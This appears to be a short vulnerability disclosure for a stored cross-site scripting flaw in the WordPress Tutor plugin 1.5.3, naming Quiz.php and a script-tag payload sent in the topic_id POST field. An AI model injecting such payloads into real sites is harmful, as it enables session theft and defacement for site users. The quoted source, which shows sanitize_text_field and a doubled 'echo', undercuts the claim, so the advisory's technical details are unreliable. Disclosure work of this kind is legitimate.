WordPress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting

#  Tile: Wordpress Plugin tutor.1.5.3 - Persistent Cross-Site Scripting
#  Author: mehran feizi
#  Category: webapps
#  Date: 2020-02-12
#  vendor home page: https://wordpress.org/plugins/tutor/

===================================================================
Vulnerable page:
/Quiz.php
===================================================================
Vulnerable Source:
473: echo echo $topic_id; 
447: $topic_id = sanitize_text_field($_POST['topic_id']); 
===================================================================
Exploit:
localhost/wp-content/plugins/tutor/classes/Quiz.php
$_POST('topic_id') = <script>alert('mehran')</script>
=================================================================================